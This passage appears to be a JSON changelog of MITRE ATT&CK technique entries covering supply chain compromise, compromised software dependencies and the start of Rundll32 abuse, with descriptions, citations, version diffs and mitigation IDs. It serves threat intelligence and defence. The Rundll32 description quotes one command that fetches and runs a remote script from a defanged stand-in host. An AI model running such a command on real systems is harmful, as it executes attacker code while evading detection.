"https://web.archive.org/web/20160309235002/https://www.commandfive.com/papers/C5_APT_SKHack.pdf" + }, + { + "source_name": "IBM Storwize", + "description": "IBM Support. (2017, April 26). Storwize USB Initialization Tool may contain malicious code. Retrieved May 28, 2019.", + "url": "https://www-01.ibm.com/support/docview.wss?uid=ssg1S1010146&myns=s028&mynp=OCSTHGUJ&mynp=OCSTLM5A&mynp=OCSTLM6B&mynp=OCHW206&mync=E&cm_sp=s028-_-OCSTHGUJ-OCSTLM5A-OCSTLM6B-OCHW206-_-E" + }, + { + "source_name": "Symantec Elderwood Sept 2012", + "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved November 17, 2024.", + "url": "https://web.archive.org/web/20190717233006/http:/www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + }, + { + "source_name": "Schneider Electric USB Malware", + "description": "Schneider Electric. (2018, August 24). Security Notification \u2013 USB Removable Media Provided With Conext Combox and Conext Battery Monitor. Retrieved May 28, 2019.", + "url": "https://www.se.com/us/en/download/document/SESN-2018-236-01/" + }, + { + "source_name": "Trendmicro NPM Compromise", + "description": "Trendmicro. (2018, November 29). Hacker Infects Node.js Package to Steal from Bitcoin Wallets. Retrieved April 10, 2019.", + "url": "https://www.trendmicro.com/vinfo/dk/security/news/cybercrime-and-digital-threats/hacker-infects-node-js-package-to-steal-from-bitcoin-wallets" + }, + { + "source_name": "Microsoft Dofoil 2018", + "description": "Windows Defender Research. (2018, March 7). Behavior monitoring combined with machine learning spoils a massive Dofoil coin mining campaign. Retrieved March 20, 2018.", + "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/07/behavior-monitoring-combined-with-machine-learning-spoils-a-massive-dofoil-coin-mining-campaign/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Veeral Patel", + "Menachem Goldstein", + "Damien Miller-McAndrews" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS", + "SaaS" + ], + "x_mitre_version": "1.7", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Sensor Health: Host Status\", \"File: File Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:41.675000+00:00\", \"old_value\": \"2025-04-15 23:13:41.905000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise.\\n\\nSupply chain compromise can take place at any stage of the supply chain including:\\n\\n* Manipulation of development tools\\n* Manipulation of a development environment\\n* Manipulation of source code repositories (public or private)\\n* Manipulation of source code in open-source dependencies\\n* Manipulation of software update/distribution mechanisms\\n* Compromised/infected system images (removable media infected at the factory)(Citation: IBM Storwize)(Citation: Schneider Electric USB Malware) \\n* Replacement of legitimate software with modified versions\\n* Sales of modified/counterfeit products to legitimate distributors\\n* Shipment interdiction\\n\\nWhile supply chain compromise can impact any component of hardware or software, adversaries looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels.(Citation: Avast CCleaner3 2018)(Citation: Microsoft Dofoil 2018)(Citation: Command Five SK 2011) Adversaries may limit targeting to a desired victim set or distribute malicious software to a broad set of consumers but only follow up with specific victims.(Citation: Symantec Elderwood Sept 2012)(Citation: Avast CCleaner3 2018)(Citation: Command Five SK 2011) Popular open-source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise)\\n\\nIn some cases, adversaries may conduct \\u201csecond-order\\u201d supply chain compromises by leveraging the access gained from an initial supply chain compromise to further compromise a software component.(Citation: Krebs 3cx overview 2023) This may allow the threat actor to spread to even more victims. \", \"old_value\": \"Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise.\\n\\nSupply chain compromise can take place at any stage of the supply chain including:\\n\\n* Manipulation of development tools\\n* Manipulation of a development environment\\n* Manipulation of source code repositories (public or private)\\n* Manipulation of source code in open-source dependencies\\n* Manipulation of software update/distribution mechanisms\\n* Compromised/infected system images (multiple cases of removable media infected at the factory)(Citation: IBM Storwize)(Citation: Schneider Electric USB Malware) \\n* Replacement of legitimate software with modified versions\\n* Sales of modified/counterfeit products to legitimate distributors\\n* Shipment interdiction\\n\\nWhile supply chain compromise can impact any component of hardware or software, adversaries looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels.(Citation: Avast CCleaner3 2018)(Citation: Microsoft Dofoil 2018)(Citation: Command Five SK 2011) Targeting may be specific to a desired victim set or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation: Symantec Elderwood Sept 2012)(Citation: Avast CCleaner3 2018)(Citation: Command Five SK 2011) Popular open source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise)\", \"diff\": \"--- \\n+++ \\n@@ -7,9 +7,11 @@\\n * Manipulation of source code repositories (public or private)\\n * Manipulation of source code in open-source dependencies\\n * Manipulation of software update/distribution mechanisms\\n-* Compromised/infected system images (multiple cases of removable media infected at the factory)(Citation: IBM Storwize)(Citation: Schneider Electric USB Malware) \\n+* Compromised/infected system images (removable media infected at the factory)(Citation: IBM Storwize)(Citation: Schneider Electric USB Malware) \\n * Replacement of legitimate software with modified versions\\n * Sales of modified/counterfeit products to legitimate distributors\\n * Shipment interdiction\\n \\n-While supply chain compromise can impact any component of hardware or software, adversaries looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels.(Citation: Avast CCleaner3 2018)(Citation: Microsoft Dofoil 2018)(Citation: Command Five SK 2011) Targeting may be specific to a desired victim set or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation: Symantec Elderwood Sept 2012)(Citation: Avast CCleaner3 2018)(Citation: Command Five SK 2011) Popular open source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise)\\n+While supply chain compromise can impact any component of hardware or software, adversaries looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels.(Citation: Avast CCleaner3 2018)(Citation: Microsoft Dofoil 2018)(Citation: Command Five SK 2011) Adversaries may limit targeting to a desired victim set or distribute malicious software to a broad set of consumers but only follow up with specific victims.(Citation: Symantec Elderwood Sept 2012)(Citation: Avast CCleaner3 2018)(Citation: Command Five SK 2011) Popular open-source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise)\\n+\\n+In some cases, adversaries may conduct \\u201csecond-order\\u201d supply chain compromises by leveraging the access gained from an initial supply chain compromise to further compromise a software component.(Citation: Krebs 3cx overview 2023) This may allow the threat actor to spread to even more victims. \"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity. Perform physical inspection of hardware to look for potential tampering.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.7\", \"old_value\": \"1.6\"}}, \"iterable_item_added\": {\"root['external_references'][2]\": {\"source_name\": \"Krebs 3cx overview 2023\", \"description\": \"Brian Krebs. (2023, April 20). 3CX Breach Was a Double Supply Chain Compromise. Retrieved May 22, 2025.\", \"url\": \"https://krebsonsecurity.com/2023/04/3cx-breach-was-a-double-supply-chain-compromise/\"}, \"root['x_mitre_contributors'][1]\": \"Menachem Goldstein\", \"root['x_mitre_contributors'][2]\": \"Damien Miller-McAndrews\", \"root['x_mitre_platforms'][3]\": \"SaaS\"}}", + "previous_version": "1.6", + "version_change": "1.6 \u2192 1.7", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may manipulate products or product delivery mecht1Adversaries may manipulate products or product delivery mech
>anisms prior to receipt by a final consumer for the purpose >anisms prior to receipt by a final consumer for the purpose 
>of data or system compromise.  Supply chain compromise can t>of data or system compromise.  Supply chain compromise can t
>ake place at any stage of the supply chain including:  * Man>ake place at any stage of the supply chain including:  * Man
>ipulation of development tools * Manipulation of a developme>ipulation of development tools * Manipulation of a developme
>nt environment * Manipulation of source code repositories (p>nt environment * Manipulation of source code repositories (p
>ublic or private) * Manipulation of source code in open-sour>ublic or private) * Manipulation of source code in open-sour
>ce dependencies * Manipulation of software update/distributi>ce dependencies * Manipulation of software update/distributi
>on mechanisms * Compromised/infected system images (multiple>on mechanisms * Compromised/infected system images (removabl
> cases of removable media infected at the factory)(Citation:>e media infected at the factory)(Citation: IBM Storwize)(Cit
> IBM Storwize)(Citation: Schneider Electric USB Malware)  * >ation: Schneider Electric USB Malware)  * Replacement of leg
>Replacement of legitimate software with modified versions * >itimate software with modified versions * Sales of modified/
>Sales of modified/counterfeit products to legitimate distrib>counterfeit products to legitimate distributors * Shipment i
>utors * Shipment interdiction  While supply chain compromise>nterdiction  While supply chain compromise can impact any co
> can impact any component of hardware or software, adversari>mponent of hardware or software, adversaries looking to gain
>es looking to gain execution have often focused on malicious> execution have often focused on malicious additions to legi
> additions to legitimate software in software distribution o>timate software in software distribution or update channels.
>r update channels.(Citation: Avast CCleaner3 2018)(Citation:>(Citation: Avast CCleaner3 2018)(Citation: Microsoft Dofoil 
> Microsoft Dofoil 2018)(Citation: Command Five SK 2011) Targ>2018)(Citation: Command Five SK 2011) Adversaries may limit 
>eting may be specific to a desired victim set or malicious s>targeting to a desired victim set or distribute malicious so
>oftware may be distributed to a broad set of consumers but o>ftware to a broad set of consumers but only follow up with s
>nly move on to additional tactics on specific victims.(Citat>pecific victims.(Citation: Symantec Elderwood Sept 2012)(Cit
>ion: Symantec Elderwood Sept 2012)(Citation: Avast CCleaner3>ation: Avast CCleaner3 2018)(Citation: Command Five SK 2011)
> 2018)(Citation: Command Five SK 2011) Popular open source p> Popular open-source projects that are used as dependencies 
>rojects that are used as dependencies in many applications m>in many applications may also be targeted as a means to add 
>ay also be targeted as a means to add malicious code to user>malicious code to users of the dependency.(Citation: Trendmi
>s of the dependency.(Citation: Trendmicro NPM Compromise)>cro NPM Compromise)  In some cases, adversaries may conduct 
 >\u201csecond-order\u201d supply chain compromises by leveraging the ac
 >cess gained from an initial supply chain compromise to furth
 >er compromise a software component.(Citation: Krebs 3cx over
 >view 2023) This may allow the threat actor to spread to even
 > more victims.  
", + "changelog_mitigations": { + "shared": [ + "M1013: Application Developer Guidance", + "M1016: Vulnerability Scanning", + "M1018: User Account Management", + "M1033: Limit Software Installation", + "M1046: Boot Integrity", + "M1051: Update Software" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0013: Sensor Health (Host Status)", + "DS0022: File (File Metadata)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0537: Behavioral detection for Supply Chain Compromise (package/update tamper \u2192 install \u2192 first-run)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--191cc6af-1bb2-4344-ab5f-28e496638720", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-11 14:13:42.916000+00:00", + "modified": "2025-10-24 17:48:27.436000+00:00", + "name": "Compromise Software Dependencies and Development Tools", + "description": "Adversaries may manipulate software dependencies and development tools prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications, such as pip and NPM packages, may be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise)(Citation: Bitdefender NPM Repositories Compromised 2021)(Citation: MANDVI Malicious npm and PyPI Packages Disguised) This may also include abandoned packages, which in some cases could be re-registered by threat actors after being removed by adversaries.(Citation: The Hacker News PyPi Revival Hijack 2024) Adversaries may also employ \"typosquatting\" or name-confusion by choosing names similar to existing popular libraries or packages in order to deceive a user.(Citation: Ahmed Backdoors in Python and NPM Packages)(Citation: Meyer PyPI Supply Chain Attack Uncovered)(Citation: Checkmarx-oss-seo)\n\nAdditionally, CI/CD pipeline components, such as GitHub Actions, may be targeted in order to gain access to the building, testing, and deployment cycles of an application.(Citation: Unit 42 Palo Alto GitHub Actions Supply Chain Attack 2025) By adding malicious code into a GitHub action, a threat actor may be able to collect runtime credentials (e.g., via [Proc Filesystem](https://attack.mitre.org/techniques/T1003/007)) or insert further malicious components into the build pipelines for a second-order supply chain compromise.(Citation: OWASP CICD-SEC-4) As GitHub Actions are often dependent on other GitHub Actions, threat actors may be able to infect a large number of repositories via the compromise of a single Action.(Citation: Palo Alto Networks GitHub Actions Worm 2023)\n\nTargeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "initial-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1195/001", + "external_id": "T1195.001" + }, + { + "source_name": "Palo Alto Networks GitHub Actions Worm 2023", + "description": "Asi Greenholts. (2023, September 14). The GitHub Actions Worm: Compromising GitHub Repositories Through the Actions Dependency Tree. Retrieved May 22, 2025.", + "url": "https://www.paloaltonetworks.com/blog/cloud-security/github-actions-worm-dependencies/" + }, + { + "source_name": "Meyer PyPI Supply Chain Attack Uncovered", + "description": "Darren Meyer. (2025, May 28). PyPI Supply Chain Attack Uncovered: Colorama and Colorizr Name Confusion. Retrieved September 24, 2025.", + "url": "https://checkmarx.com/zero-post/python-pypi-supply-chain-attack-colorama/" + }, + { + "source_name": "Ahmed Backdoors in Python and NPM Packages", + "description": "Deeba Ahmed. (2025, June 2). Backdoors in Python and NPM Packages Target Windows and Linux. Retrieved September 24, 2025.", + "url": "https://hackread.com/backdoors-python-npm-packages-windows-linux/" + }, + { + "source_name": "MANDVI Malicious npm and PyPI Packages Disguised", + "description": "MANDVI. (2025, April 22). Malicious npm and PyPI Packages Disguised as Dev Tools to Steal Credentials. Retrieved September 24, 2025.", + "url": "https://cyberpress.org/malicious-npm-and-pypi-packages-disguised-as-dev-tools" + }, + { + "source_name": "Unit 42 Palo Alto GitHub Actions Supply Chain Attack 2025", + "description": "Omer Gilm Aviad Hahami, Asi Greenholts, and Yaron Avital. (2025, March 20). GitHub Actions Supply Chain Attack: A Targeted Attack on Coinbase Expanded to the Widespread tj-actions/changed-files Incident: Threat Assessment . Retrieved May 22, 2025.", + "url": "https://unit42.paloaltonetworks.com/github-actions-supply-chain-attack" + }, + { + "source_name": "OWASP CICD-SEC-4", + "description": "OWASP. (n.d.). CICD-SEC-4: Poisoned Pipeline Execution (PPE). Retrieved May 22, 2025.", + "url": "https://owasp.org/www-project-top-10-ci-cd-security-risks/CICD-SEC-04-Poisoned-Pipeline-Execution" + }, + { + "source_name": "The Hacker News PyPi Revival Hijack 2024", + "description": "Ravie Lakshmanan. (2024, September 4). Researchers Find Over 22,000 Removed PyPI Packages at Risk of Revival Hijack. Retrieved May 22, 2025.", + "url": "https://thehackernews.com/2024/09/hackers-hijack-22000-removed-pypi.html" + }, + { + "source_name": "Bitdefender NPM Repositories Compromised 2021", + "description": "Silviu Stahie. (2021, November 8). Popular NPM Repositories Compromised in Man-in-the-Middle Attack. Retrieved May 22, 2025.", + "url": "https://www.bitdefender.com/en-gb/blog/hotforsecurity/popular-npm-repositories-compromised-in-man-in-the-middle-attack" + }, + { + "source_name": "Trendmicro NPM Compromise", + "description": "Trendmicro. (2018, November 29). Hacker Infects Node.js Package to Steal from Bitcoin Wallets. Retrieved April 10, 2019.", + "url": "https://www.trendmicro.com/vinfo/dk/security/news/cybercrime-and-digital-threats/hacker-infects-node-js-package-to-steal-from-bitcoin-wallets" + }, + { + "source_name": "Checkmarx-oss-seo", + "description": "Yehuda Gelb. (2024, April 10). New Technique to Trick Developers Detected in an Open Source Supply Chain Attack. Retrieved June 18, 2024.", + "url": "https://checkmarx.com/blog/new-technique-to-trick-developers-detected-in-an-open-source-supply-chain-attack/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Enis Aksu", + "Joe Gumke, U.S. Bank", + "Liran Ravich, CardinalOps" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_contributors']\": [\"Enis Aksu\", \"Joe Gumke, U.S. Bank\", \"Liran Ravich, CardinalOps\"]}, \"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:27.436000+00:00\", \"old_value\": \"2025-04-15 22:08:13.223000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may manipulate software dependencies and development tools prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications, such as pip and NPM packages, may be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise)(Citation: Bitdefender NPM Repositories Compromised 2021)(Citation: MANDVI Malicious npm and PyPI Packages Disguised) This may also include abandoned packages, which in some cases could be re-registered by threat actors after being removed by adversaries.(Citation: The Hacker News PyPi Revival Hijack 2024) Adversaries may also employ \\\"typosquatting\\\" or name-confusion by choosing names similar to existing popular libraries or packages in order to deceive a user.(Citation: Ahmed Backdoors in Python and NPM Packages)(Citation: Meyer PyPI Supply Chain Attack Uncovered)(Citation: Checkmarx-oss-seo)\\n\\nAdditionally, CI/CD pipeline components, such as GitHub Actions, may be targeted in order to gain access to the building, testing, and deployment cycles of an application.(Citation: Unit 42 Palo Alto GitHub Actions Supply Chain Attack 2025) By adding malicious code into a GitHub action, a threat actor may be able to collect runtime credentials (e.g., via [Proc Filesystem](https://attack.mitre.org/techniques/T1003/007)) or insert further malicious components into the build pipelines for a second-order supply chain compromise.(Citation: OWASP CICD-SEC-4) As GitHub Actions are often dependent on other GitHub Actions, threat actors may be able to infect a large number of repositories via the compromise of a single Action.(Citation: Palo Alto Networks GitHub Actions Worm 2023)\\n\\nTargeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. \", \"old_value\": \"Adversaries may manipulate software dependencies and development tools prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications may be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise) \\n\\nTargeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,5 @@\\n-Adversaries may manipulate software dependencies and development tools prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications may be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise) \\n+Adversaries may manipulate software dependencies and development tools prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications, such as pip and NPM packages, may be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise)(Citation: Bitdefender NPM Repositories Compromised 2021)(Citation: MANDVI Malicious npm and PyPI Packages Disguised) This may also include abandoned packages, which in some cases could be re-registered by threat actors after being removed by adversaries.(Citation: The Hacker News PyPi Revival Hijack 2024) Adversaries may also employ \\\"typosquatting\\\" or name-confusion by choosing names similar to existing popular libraries or packages in order to deceive a user.(Citation: Ahmed Backdoors in Python and NPM Packages)(Citation: Meyer PyPI Supply Chain Attack Uncovered)(Citation: Checkmarx-oss-seo)\\n+\\n+Additionally, CI/CD pipeline components, such as GitHub Actions, may be targeted in order to gain access to the building, testing, and deployment cycles of an application.(Citation: Unit 42 Palo Alto GitHub Actions Supply Chain Attack 2025) By adding malicious code into a GitHub action, a threat actor may be able to collect runtime credentials (e.g., via [Proc Filesystem](https://attack.mitre.org/techniques/T1003/007)) or insert further malicious components into the build pipelines for a second-order supply chain compromise.(Citation: OWASP CICD-SEC-4) As GitHub Actions are often dependent on other GitHub Actions, threat actors may be able to infect a large number of repositories via the compromise of a single Action.(Citation: Palo Alto Networks GitHub Actions Worm 2023)\\n \\n Targeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. \"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity. \"}, \"root['x_mitre_version']\": {\"new_value\": \"1.3\", \"old_value\": \"1.2\"}}, \"iterable_item_added\": {\"root['external_references'][1]\": {\"source_name\": \"Palo Alto Networks GitHub Actions Worm 2023\", \"description\": \"Asi Greenholts. (2023, September 14). The GitHub Actions Worm: Compromising GitHub Repositories Through the Actions Dependency Tree. Retrieved May 22, 2025.\", \"url\": \"https://www.paloaltonetworks.com/blog/cloud-security/github-actions-worm-dependencies/\"}, \"root['external_references'][2]\": {\"source_name\": \"Meyer PyPI Supply Chain Attack Uncovered\", \"description\": \"Darren Meyer. (2025, May 28). PyPI Supply Chain Attack Uncovered: Colorama and Colorizr Name Confusion. Retrieved September 24, 2025.\", \"url\": \"https://checkmarx.com/zero-post/python-pypi-supply-chain-attack-colorama/\"}, \"root['external_references'][3]\": {\"source_name\": \"Ahmed Backdoors in Python and NPM Packages\", \"description\": \"Deeba Ahmed. (2025, June 2). Backdoors in Python and NPM Packages Target Windows and Linux. Retrieved September 24, 2025.\", \"url\": \"https://hackread.com/backdoors-python-npm-packages-windows-linux/\"}, \"root['external_references'][4]\": {\"source_name\": \"MANDVI Malicious npm and PyPI Packages Disguised\", \"description\": \"MANDVI. (2025, April 22). Malicious npm and PyPI Packages Disguised as Dev Tools to Steal Credentials. Retrieved September 24, 2025.\", \"url\": \"https://cyberpress.org/malicious-npm-and-pypi-packages-disguised-as-dev-tools\"}, \"root['external_references'][5]\": {\"source_name\": \"Unit 42 Palo Alto GitHub Actions Supply Chain Attack 2025\", \"description\": \"Omer Gilm Aviad Hahami, Asi Greenholts, and Yaron Avital. (2025, March 20). GitHub Actions Supply Chain Attack: A Targeted Attack on Coinbase Expanded to the Widespread tj-actions/changed-files Incident: Threat Assessment . Retrieved May 22, 2025.\", \"url\": \"https://unit42.paloaltonetworks.com/github-actions-supply-chain-attack\"}, \"root['external_references'][6]\": {\"source_name\": \"OWASP CICD-SEC-4\", \"description\": \"OWASP. (n.d.). CICD-SEC-4: Poisoned Pipeline Execution (PPE). Retrieved May 22, 2025.\", \"url\": \"https://owasp.org/www-project-top-10-ci-cd-security-risks/CICD-SEC-04-Poisoned-Pipeline-Execution\"}, \"root['external_references'][7]\": {\"source_name\": \"The Hacker News PyPi Revival Hijack 2024\", \"description\": \"Ravie Lakshmanan. (2024, September 4). Researchers Find Over 22,000 Removed PyPI Packages at Risk of Revival Hijack. Retrieved May 22, 2025.\", \"url\": \"https://thehackernews.com/2024/09/hackers-hijack-22000-removed-pypi.html\"}, \"root['external_references'][8]\": {\"source_name\": \"Bitdefender NPM Repositories Compromised 2021\", \"description\": \"Silviu Stahie. (2021, November 8). Popular NPM Repositories Compromised in Man-in-the-Middle Attack. Retrieved May 22, 2025.\", \"url\": \"https://www.bitdefender.com/en-gb/blog/hotforsecurity/popular-npm-repositories-compromised-in-man-in-the-middle-attack\"}, \"root['external_references'][10]\": {\"source_name\": \"Checkmarx-oss-seo\", \"description\": \"Yehuda Gelb. (2024, April 10). New Technique to Trick Developers Detected in an Open Source Supply Chain Attack. Retrieved June 18, 2024.\", \"url\": \"https://checkmarx.com/blog/new-technique-to-trick-developers-detected-in-an-open-source-supply-chain-attack/\"}}}", + "previous_version": "1.2", + "version_change": "1.2 \u2192 1.3", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may manipulate software dependencies and developt1Adversaries may manipulate software dependencies and develop
>ment tools prior to receipt by a final consumer for the purp>ment tools prior to receipt by a final consumer for the purp
>ose of data or system compromise. Applications often depend >ose of data or system compromise. Applications often depend 
>on external software to function properly. Popular open sour>on external software to function properly. Popular open sour
>ce projects that are used as dependencies in many applicatio>ce projects that are used as dependencies in many applicatio
>ns may be targeted as a means to add malicious code to users>ns, such as pip and NPM packages, may be targeted as a means
> of the dependency.(Citation: Trendmicro NPM Compromise)    > to add malicious code to users of the dependency.(Citation:
>Targeting may be specific to a desired victim set or may be > Trendmicro NPM Compromise)(Citation: Bitdefender NPM Reposi
>distributed to a broad set of consumers but only move on to >tories Compromised 2021)(Citation: MANDVI Malicious npm and 
>additional tactics on specific victims. >PyPI Packages Disguised) This may also include abandoned pac
 >kages, which in some cases could be re-registered by threat 
 >actors after being removed by adversaries.(Citation: The Hac
 >ker News PyPi Revival Hijack 2024) Adversaries may also empl
 >oy \"typosquatting\" or name-confusion by choosing names simil
 >ar to existing popular libraries or packages in order to dec
 >eive a user.(Citation: Ahmed Backdoors in Python and NPM Pac
 >kages)(Citation: Meyer PyPI Supply Chain Attack Uncovered)(C
 >itation: Checkmarx-oss-seo)  Additionally, CI/CD pipeline co
 >mponents, such as GitHub Actions, may be targeted in order t
 >o gain access to the building, testing, and deployment cycle
 >s of an application.(Citation: Unit 42 Palo Alto GitHub Acti
 >ons Supply Chain Attack 2025) By adding malicious code into 
 >a GitHub action, a threat actor may be able to collect runti
 >me credentials (e.g., via [Proc Filesystem](https://attack.m
 >itre.org/techniques/T1003/007)) or insert further malicious 
 >components into the build pipelines for a second-order suppl
 >y chain compromise.(Citation: OWASP CICD-SEC-4) As GitHub Ac
 >tions are often dependent on other GitHub Actions, threat ac
 >tors may be able to infect a large number of repositories vi
 >a the compromise of a single Action.(Citation: Palo Alto Net
 >works GitHub Actions Worm 2023)  Targeting may be specific t
 >o a desired victim set or may be distributed to a broad set 
 >of consumers but only move on to additional tactics on speci
 >fic victims. 
", + "changelog_mitigations": { + "shared": [ + "M1013: Application Developer Guidance", + "M1016: Vulnerability Scanning", + "M1033: Limit Software Installation", + "M1051: Update Software" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0022: File (File Metadata)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0009: Supply-chain tamper in dependencies/dev-tools (manager\u2192write/install\u2192first-run\u2192egress)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-23 18:03:46.248000+00:00", + "modified": "2025-10-24 17:48:20.567000+00:00", + "name": "Rundll32", + "description": "Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}).\n\nRundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute.(Citation: Trend Micro CPL) For example, [ClickOnce](https://attack.mitre.org/techniques/T1127/002) can be proxied through Rundll32.exe.\n\nRundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\" This behavior has been seen used by malware such as Poweliks.(Citation: This is Security Command Line Confusion)\n\nThreat actors may also abuse legitimate, signed system DLLs (e.g., zipfldr.dll, ieframe.dll) with rundll32.exe to execute malicious programs or scripts indirectly, making their activity appear more legitimate and evading detection.(Citation: lolbas project Zipfldr.dll)(Citation: lolbas project Ieframe.dll)\n\nAdversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1).\n\nAdditionally, adversaries may use 